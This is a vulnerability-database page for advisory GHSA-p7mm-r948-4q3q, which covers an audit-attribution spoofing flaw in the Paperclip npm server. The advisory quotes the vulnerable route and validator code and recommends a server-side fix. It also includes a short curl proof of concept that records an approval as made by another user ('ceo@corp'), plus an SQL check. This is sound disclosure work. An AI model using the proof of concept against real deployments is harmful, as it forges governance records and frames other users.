Skip to content
Noroxi
OSV ecosystem advisory

GHSA-p7mm-r948-4q3q: Paperclip: Approval decision attribution spoofing via client-controlled `decidedByUserId` in paperclip server

MediumCVSS 4.3 · v3.1—No exploit Fix available

Noroxi assessment

Priority: Monitor (action score 17/100)

  • The sources we track (CISA KEV, Exploit-DB, Metasploit, Nuclei, GitHub) show no public exploit code or exploitation in the wild.
  • Anyone who can reach it over the internet can trigger it. A low-privileged account is enough. No user action is required. No special conditions are required; it is repeatable.
  • Fixed version: @paperclipai/server (npm) 2026.416.0.

Low priority for now. Upgrade to @paperclipai/server (npm) 2026.416.0 or later.

Generated automatically from the record's data: CVSS (NVD and CNA), CISA KEV and SSVC, FIRST EPSS, exploit sources, fixed versions. How we calculate it

Primary sources: OSV

## Summary The approval-resolution endpoints (`POST /approvals/:id/approve`, `/reject`, `/request-revision`) accept a client-supplied `decidedByUserId` field in the request body and write it verbatim into the authoritative `approvals.decidedByUserId` column — without cross-checking it against the authenticated actor. Any board user who can access an approval's company can record the decision as having been made by another user (e.g. the CEO), forging the governance audit trail. For `hire_agent` approvals with a monthly budget, the same attacker-controlled string is also stamped onto the resulting `budget_policies` row as `createdByUserId`/`updatedByUserId`. ## Details **Entry point** — `server/src/routes/approvals.ts:130`: ```ts router.post("/approvals/:id/approve", validate(resolveApprovalSchema), async (req, res) => { assertBoard(req); const id = req.params.id as string; if (!(await requireApprovalAccess(req, id))) { res.status(404).json({ error: "Approval not found" }); return; } const { approval, applied } = await svc.approve( id, req.body.decidedByUserId ?? "board", // ← client-controlled req.body.decisionNote, ); ``` **Authorization check** — `server/src/routes/authz.ts:4`: ```ts export function assertBoard(req: Request) { if (req.actor.type !== "board") { throw forbidden("Board access required"); } } ``` `assertBoard` only checks that the caller is some board user; it never ties `req.body.decidedByUserId` to `req.actor.userId`. `requireApprovalAccess`/`assertCompanyAccess` only verify the attacker is allowed to touch the approval's company, which every board user in that company already is. **Validator** — `packages/shared/src/validators/approval.ts:13`: ```ts export const resolveApprovalSchema = z.object({ decisionNote: z.string().optional().nullable(), decidedByUserId: z.string().optional().default("board"), }); ``` The Zod schema accepts any string for `decidedByUserId` — no UUID check, no membership check, no binding to the session. **Sink** — `server/src/services/approvals.ts:54`: ```ts const updated = await db .update(approvals) .set({ status: targetStatus, decidedByUserId, // ← attacker-chosen value written verbatim decisionNote: decisionNote ?? null, decidedAt: now, updatedAt: now, }) .where(and(eq(approvals.id, id), inArray(approvals.status, resolvableStatuses))) .returning() ``` **Secondary sink (budget policies)** — `server/src/services/approvals.ts:147-156`, reached when a `hire_agent` approval with `budgetMonthlyCents > 0` is approved: ```ts if (budgetMonthlyCents > 0) { await budgets.upsertPolicy( updated.companyId, { scopeType: "agent", scopeId: hireApprovedAgentId, amount: budgetMonthlyCents, windowKind: "calendar_month_utc" }, decidedByUserId, // ← forwarded as actorUserId ); } ``` `budgets.upsertPolicy` uses that `actorUserId` to populate `createdByUserId`/`updatedByUserId` on the `budget_policies` row, extending the forgery to budget-policy audit columns. **Same pattern in `reject` and `request-revision`** — `server/src/routes/approvals.ts:229` and `:257`: ```ts router.post("/approvals/:id/reject", validate(resolveApprovalSchema), async (req, res) => { assertBoard(req); ... const { approval, applied } = await svc.reject(id, req.body.decidedByUserId ?? "board", req.body.decisionNote); ``` `approvalService.reject()` and `requestRevision()` (`approvals.ts:175` and `:201`) both write `decidedByUserId` directly into the approvals row. **Why `logActivity` is not a mitigation**: the route handlers correctly use `req.actor.userId ?? "board"` when writing to `activity_log` (e.g. `approvals.ts:151`, `175`, `190`, `212`, `246`, `276`), which shows the developer intent was that the deciding user equals the authenticated user. But the authoritative `approvals.decidedByUserId` column — the value shown to anyone reviewing the approval — is still sourced from the client, so the two records are allowed to diverge and the user-visible attribution is the forged one. **Why this is reachable from a non-admin attacker**: `actorMiddleware` (`server/src/middleware/auth.ts:62-98`) populates `req.actor` as `type: "board"` for any authenticated user (session cookie or board API key); `isInstanceAdmin` is not consulted by `assertBoard`. In a multi-user `authenticated` deployment, any board member of a company can spoof the attribution of any other board member for approvals within that company. In `local_trusted` deployments there is only a single implicit `local-board` user, so the exploit has no target — but the code is shipped for both deployment modes. ## PoC Prerequisite: a pending `hire_agent` approval `$APPROVAL_ID` in a company where both `attacker@corp` and `ceo@corp` are board members of the `authenticated` deployment. Attacker authenticates with their own session cookie / board API key. 1. Attacker approves as the CEO: ```bash curl -X POST http://localhost:3000/approvals/$APPROVAL_ID/approve \ -H 'Content-Type: application/json' \ -H "Cookie: $ATTACKER_SESSION" \ -d '{"decidedByUserId":"ceo@corp","decisionNote":"LGTM"}' ``` 2. Verify the forged attribution is stored on the authoritative row: ```bash curl http://localhost:3000/approvals/$APPROVAL_ID \ -H "Cookie: $ATTACKER_SESSION" | jq '.decidedByUserId' # => "ceo@corp" ``` 3. For `hire_agent` approvals with `budgetMonthlyCents > 0`, confirm the budget-policy row is also stamped with the forged user (direct DB read, or via an endpoint that surfaces `budget_policies.createdByUserId`): ```sql SELECT scope_id, amount, created_by_user_id, updated_by_user_id FROM budget_policies WHERE scope_type = 'agent' ORDER BY created_at DESC LIMIT 1; -- created_by_user_id = 'ceo@corp' -- updated_by_user_id = 'ceo@corp' ``` 4. The same body works against `/approvals/$APPROVAL_ID/reject` and `/approvals/$APPROVAL_ID/request-revision`. Note: the `activity_log` row written alongside the approval still shows the real attacker's `userId` (correctly taken from `req.actor.userId`), so a defender who looks at `activity_log` will see the discrepancy — but the approval UI, the approvals API, and the budget_policies audit columns all display the forged user. ## Impact - **Forged governance audit trail.** Any board user with access to a company can record approval, rejection, or revision-request decisions under any arbitrary user identifier — including other legitimate board users of that company. Approvals gate security-sensitive actions (agent hiring, which grants execution privileges and assigns a monthly spend budget), and the `approvals.decidedByUserId` column is the authoritative record of who authorized each decision. - **Budget-policy attribution forgery.** For `hire_agent` approvals that carry a monthly budget, `budget_policies.createdByUserId` / `updatedByUserId` are also populated from the same attacker-controlled string, spreading the forgery to spend-authorization audit columns. - **Non-repudiation break.** A board user can frame another board user for approving/rejecting a hire, undermining accountability for governance actions. The parallel `activity_log` entry does preserve the true actor, but any reviewer inspecting the approval itself (not the activity log) will see the forged attribution as fact. - **Scope.** Limited to board users who already have company access; does not escalate privileges, does not leak data, and does not change whether the decision itself gets applied. Integrity impact is Low (attribution only, not decision content); confidentiality and availability are unaffected. ## Recommended Fix Drop `decidedByUserId` from the request schema entirely and derive it server-side from the authenticated actor. Treat `req.body.decidedByUserId` as untrusted and ignore it. **`packages/shared/src/validators/approval.ts`:** ```ts export const resolveApprovalSchema = z.object({ decisionNote: z.string().optional().nullable(), // decidedByUserId removed — server derives from req.actor }); export const requestApprovalRevisionSchema = z.object({ decisionNote: z.string().optional().nullable(), }); ``` **`server/src/routes/approvals.ts`** (apply to `/approve`, `/reject`, `/request-revision`): ```ts router.post("/approvals/:id/approve", validate(resolveApprovalSchema), async (req, res) => { assertBoard(req); const id = req.params.id as string; if (!(await requireApprovalAccess(req, id))) { res.status(404).json({ error: "Approval not found" }); return; } const decidedBy = req.actor.userId ?? "board"; // trust the session, not the body const { approval, applied } = await svc.approve(id, decidedBy, req.body.decisionNote); ... }); ``` Repeat the same `const decidedBy = req.actor.userId ?? "board";` substitution at `approvals.ts:238` (`/reject`) and `:269` (`/request-revision`). No change is needed inside `approvalService` — it already accepts the value as a parameter — and this also ensures the forged value cannot reach `budgets.upsertPolicy` at `approvals.ts:155`. Existing callers that currently pass a body `decidedByUserId` can be updated to stop sending it (it is already effectively redundant with the session).

Published
Apr 16, 2026
Updated
Apr 16, 2026
EPSS
—

Report tools

JSON

Action score

17

Monitor

Low priority for now.

CVSS
17 / 40 · 4.3 / 10
CISA KEV
0 / 30 · Not listed
EPSS
0 / 30 · —

Get told when this record changes

  • Not in KEV: no record of exploitation in the wild
  • No public exploit code on record
  • A fix has been released

If any of these changes, we'll tell you in the daily email digest.

Follow GHSA-p7mm-r948-4q3q

When you'll hear from us

  • when it enters CISA KEV
  • when exploit code appears or is weaponized
  • when the record is updated (including a fixed version)
  • when EPSS rises 20 points in a week

One daily email digest (06:00 UTC); connect a webhook for KEV listings and weaponized exploits every 10 minutes on paid plans, on the hour on the free plan.

Your free account also gets you

  • CVE alerts: add the products and versions you run, get the new CVEs that affect them
  • Uptime monitoring: 1 site, instant email when it goes down
  • Add your domain: subdomains and takeover risk scanned every week (1 domain)
  • 10 scans an hour on the security tools, at most 30 a day (3 a day without an account), an API key and MCP
  • All your scans in one panel: findings, what changed in the last scan, a report per domain or per client (PDF, share link)
All free tools
Is your version affected? Check it

Noroxi analysis

What does it mean in your environment?

The assessment above is generated automatically from the record's data; it doesn't know your environment. Our team verifies on your systems whether this vulnerability is actually exploitable and which mitigation is enough.

We use this product, ask for help

Affected systems

Is your version affected?

Pick the product and type the version you run. It's compared with this record's version ranges in your browser; the version isn't sent anywhere.

VendorProduct
npm@paperclipai/server

Package-level exposure

OSV and GitHub Advisory data: ecosystem, package and range. SBOM matching uses this table.

EcosystemPackageAffected rangeFix
npm@paperclipai/serverbefore 2026.416.02026.416.0

Same product

npm: all records

Other highest-scoring records for the same primary product.

  • GHSA-3xx2-mqjm-hg9xPaperclip: Cross-tenant agent API key IDOR in `/agents/:id/keys` routes allows full victim-company compromise
    39Monitor
  • GHSA-47wq-cj9q-wpmpPaperclip: Cross-tenant agent API token minting via missing assertCompanyAccess on /api/agents/:id/keys
    39Monitor
  • GHSA-xfqj-r5qw-8g4jPaperclip: Unauthenticated Access to Multiple API Endpoints in Authenticated Mode
    33Monitor

Published before and after this one in the same product

  • ← EarlierGHSA-w8hx-hqjv-vjcqApr 16, 2026 · Paperclip: Malicious skills able to exfiltrate and destroy all user data
    29Monitor

Remediation

Which version to upgrade to

Fix versions compiled from the vendor, package registries and Microsoft. Verify the vendor's note before upgrading.

Product / packageFixed versionSource
npm:@paperclipai/server2026.416.0Package registry (OSV)

Exploit status

No known public exploit

No public exploit has been observed yet. That doesn't mean you're safe, only that the bar is a little higher.

Research context

For pentesters and researchers: attack profile, score disagreement, timeline, patch commits, credits, variant and chain candidates, bug bounty scope. All derived from existing data; no exploit code.

Timeline

From publication to today: proof of concept, Metasploit module, CISA KEV and fix record. Dates are as reported by the sources.

No dated events beyond publication.

Not on record for this CVE: EPSS history · patch commit or PR link · researcher credit · variant or chain candidate · public bounty program.

Technical details

Attack conditions

  • Anyone who can reach it over the internet can trigger it.
  • A low-privileged account is enough.
  • No user action is required.
  • No special conditions are required; it is repeatable.

If successful

Confidentiality
none
Integrity
low · data or configuration can be modified
Availability
none
Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality impact
None
Integrity impact
Low
Availability impact
None

CVSS vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

osv

References

Show all references (1 more)

Vendor advisories and official records. Exploit/PoC links are deliberately left out.

All records